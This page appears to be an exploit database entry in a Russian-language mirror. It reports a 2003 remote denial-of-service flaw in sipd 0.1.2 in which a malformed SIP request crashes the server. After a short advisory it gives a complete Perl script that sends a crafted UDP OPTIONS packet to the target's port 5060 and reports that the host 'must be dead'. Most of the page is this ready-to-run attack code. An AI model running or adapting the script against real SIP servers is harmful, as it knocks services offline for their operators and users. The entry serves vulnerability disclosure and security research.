Exploit SX Design sipd 0.1.2 - Remote Denial of Service

[Exploiter]

EDB-ID

23431

Проверка EDB

1. Пройдено

Автор

STORM

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

null

Дата публикации

2003-12-11

source: https://www.securityfocus.com/bid/9198/info

It has been reported that sipd may be prone to a vulnerability that may allow a remote attacker to cause a denial of service condition in the software. The problem is reported to exist in the gethostbyname_r function. An attacker may be able to cause the server to crash by sending a malformed SIP request.

sipd version 0.1.2 has been reported to be prone to this issue, however other versions could be affected as well. 

#!/usr/bin/perl

# SIPd - SIP URI Denial of Service
# Kills sipd version 0.1.2

use IO::Socket;
use strict;

unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" }

my $remote_host = shift(@ARGV);
my $your_host = shift(@ARGV);
my $port = shift(@ARGV);
if ($port eq "")
{
 $port = "5060";
}

my $buf = "OPTIONS sip:A$remote_host SIP/2.0\r\
Via: SIP/2.0/UDP $your_host:3277\r\
From: <sip:$your_host:3277>\r\
To: <sip:$your_host:3277>\r\
Call-ID: 12312312\@$your_host\r\
CSeq: 1 OPTIONS\r\
Max-Forwards: 70\r\
\r\n";

my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: 
$@\n"; my $ipaddr = inet_aton($remote_host) || $remote_host; my $portaddr 
= sockaddr_in($port, $ipaddr);

send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: 
$!\n";

print "Now, '$remote_host' must be dead :)\n";